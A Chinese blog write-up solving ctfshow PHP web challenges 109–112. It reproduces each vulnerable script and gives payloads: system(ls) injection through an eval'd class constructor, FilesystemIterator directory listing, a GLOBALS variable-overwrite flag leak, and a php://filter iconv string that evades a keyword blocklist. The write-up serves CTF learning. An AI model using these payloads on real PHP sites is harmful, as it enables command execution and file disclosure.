CTFshow web(php特性109-112)

web109

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-29 22:02:34

*/

highlight_file(FILE);

error_reporting(0);

if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){

$v1 = $_GET['v1'];

$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){

eval("echo new v1(v2());");

}

}

?>

代码分析:

使用正则表达式函数 preg_match() 来检查变量 $v1$v2 是否包含至少一个字母。如果两者都满足条件,则执行 eval() 函数,将 $v2() 执行的结果作为参数创建一个新的 $v1 类对象,并通过 echo 输出。

思路:既然题目没有告诉我flag在哪,那我肯定要v2=system(ls)啊,这是每道题目都通用的思路

知识点:异常处理逻辑

当在PHP代码中出现错误时,可以使用异常处理机制来处理错误。异常(Exception)是一种特殊的对象,用于表示在代码执行过程中发生的错误情况。

下面是一个简单的异常处理逻辑的示例:

try {
    // 可能引发异常的代码
    throw new Exception("这是一个异常示例");
} catch (Exception $e) {
    // 异常处理逻辑
    echo "捕获到异常:" . $e->getMessage();
}

在这个例子中,异常处理逻辑如下:

  • try 块中的代码可能会引发一个 Exception 类型的异常。
  • 当异常发生时,程序会跳转到与 Exception 类型匹配的 catch 块中。
  • catch 块中可以使用 $e 变量来引用捕获到的异常对象,然后根据具体情况处理异常,例如输出异常信息。

异常处理逻辑可以帮助我们更好地处理程序中可能发生的错误情况,提高代码的可读性、可维护性和容错性。

回到本题:

eval("echo new v1(v2());");在这串代码中既然v2=system(ls),那我肯定

$v1作为类名,$v2()作为类的构造函数的调用。,v1为x,v2system(ls)eval()函数最终执行的代码相当于:

echo new x(system(ls));

你觉得如果v1随便输入一个字符能够使得上面语句成立吗?

不可以,如果x=xeception,那么就会触发Exception 类型的异常,变成执行命令

echo new exception(system(ls));

payload:v1=exception&v2=system(ls)

再访问fl36dg.txt页面就好

web110

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-29 22:49:10

*/

highlight_file(FILE);

error_reporting(0);

if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){

$v1 = $_GET['v1'];

$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){

die("error v1");

}

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){

die("error v2");

}

eval("echo new v1(v2());");

}

?>

思路:

这里和上一题原理不同,有没有发现('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]这里过滤的那么凶残,基本符号都给你禁完了,怎么办?

代码分析:

使用正则表达式函数 preg_match() 来检查变量 $v1$v2 是否包含至少一个字母。如果两者都满足条件,则执行 eval() 函数,将 $v2() 执行的结果作为参数创建一个新的 $v1 类对象,并通过 echo 输出。

思路:既然题目没有告诉我flag在哪,那我肯定要v2=system(ls)啊,这是每道题目都通用的思路,确实是这样没错,但是这里把括号给你搞没了,太狠了!!!

这个语句是查找当前目录的语句,到底有什么也有相似的功能呢?

**百度一下,**到底有什么能够返回当前的目录呢?于是发现了希望!

getcwd() 是 PHP 内置的一个函数,它返回当前的工作目录的路径字符串。例如,如果当前工作目录是 "/var/www/html",那么 getcwd() 将返回 "/var/www/html"

好!v2搞定了,那就开始v1

回到本题:

eval("echo new v1(v2());");在这串代码中既然v2=getcwd,那我肯定

$v1作为类名,$v2()作为类的构造函数的调用。,v1为x,v2为getcwd,eval()函数最终执行的代码相当于:

echo new x(getcwd);

你觉得如果v1随便输入一个字符能够使得上面语句成立吗?

echo new $v1($v2())

那我肯定得找一个有效的类名啊,不然肯定得报错,那该用什么类呢?问GPT

哈哈哈,找到了!FilesystemIterator 是 PHP 提供的一个类,用于遍历文件系统中的文件和目录。它的构造函数可以接受一个路径作为参数,用于指定要遍历的目录。

payload:v1=FilesystemIterator&v2=getcwd

接下来访问页面就好!

web111

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(FILE);

error_reporting(0);

include("flag.php");

function getFlag(&v1,\&v2){

eval("$$v1 = &$$v2;");

var_dump($$v1);

}

if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){

$v1 = $_GET['v1'];

$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){

die("error v1");

}

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){

die("error v2");

}

if(preg_match('/ctfshow/', $v1)){

getFlag(v1,v2);

}

}

?>

这道题多好啊!v1直接给你了ctfshow,接下来调用getFlag函数,

function getFlag(&v1,\&v2){

eval("$$v1 = &$$v2;");

var_dump($$v1);

}

这里就是一个最经典的变量覆盖,include("flag.php");flag藏在这里面,那我就使用全局变量覆盖。

直接v2=GLOBALS

解析:

这行代码将 GLOBALS 赋值给了一个名为 ctfshow 的局部变量,并且使用了引用符号 &。这意味着 $ctfshow$GLOBALS 引用同一个变量内存空间。

由于在代码中引入了 flag.php 文件,因此 $GLOBALS 数组中会包含引入的 flag.php 文件中定义的 $flag 变量。

所以,当我们调用 var_dump($$v1) 时,实际上是打印出了 $ctfshow 引用的变量,即 $GLOBALS 数组,其中包含了 $flag 变量的值。

**payload:v1=ctfshow&v2=**GLOBALS

web112

<?php

/*

-*- coding: utf-8 -*-

@Author: Firebasky

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(FILE);

error_reporting(0);

function filter($file){

if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){

die("hacker!");

}else{

return $file;

}

}

file=_GET['file'];

if(! is_file($file)){

highlight_file(filter($file));

}else{

echo "hacker!";

}

这道题目是一道经典的文件包含题目, if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){

这里才过滤了冰山一角,

我之前的文章可是把所有过滤器都列举了,这点过滤很简单。

如果不懂,直接看我的文章,使用爆破法解决,万能的,破除一切大范围过滤,希望大家可以看看我的这篇关于文件包含的文章,该介绍的都介绍了。

文件包含提升-CSDN博客

直接把我当时爆破出来的万能payload丢上去就好了,这个万能payload之所以万能是因为我做了那么多题,还没见过把这个过滤的题目,哈哈哈!

payload:

?file=php://filter//convert.iconv.UTF-8.UCS-4*/resource=flag.php

真诚地希望我的文章能够得到大家的喜欢,最重要的是能够对大家有所帮助,谢谢!

相关推荐
Thomas_Cai6 分钟前
Python后端flask框架接收zip压缩包方法
开发语言·python·flask
霍先生的虚拟宇宙网络8 分钟前
webp 网页如何录屏?
开发语言·前端·javascript
温吞-ing10 分钟前
第十章JavaScript的应用
开发语言·javascript·ecmascript
魔道不误砍柴功17 分钟前
实际开发中的协变与逆变案例:数据处理流水线
java·开发语言
鲤籽鲲25 分钟前
C# MethodTimer.Fody 使用详解
开发语言·c#·mfc
亚图跨际28 分钟前
Python和R荧光分光光度法
开发语言·python·r语言·荧光分光光度法
Rverdoser36 分钟前
RabbitMQ的基本概念和入门
开发语言·后端·ruby
dj244294570740 分钟前
JAVA中的Lamda表达式
java·开发语言
流星白龙1 小时前
【C++习题】10.反转字符串中的单词 lll
开发语言·c++
尘浮生1 小时前
Java项目实战II基于微信小程序的校运会管理系统(开发文档+数据库+源码)
java·开发语言·数据库·微信小程序·小程序·maven·intellij-idea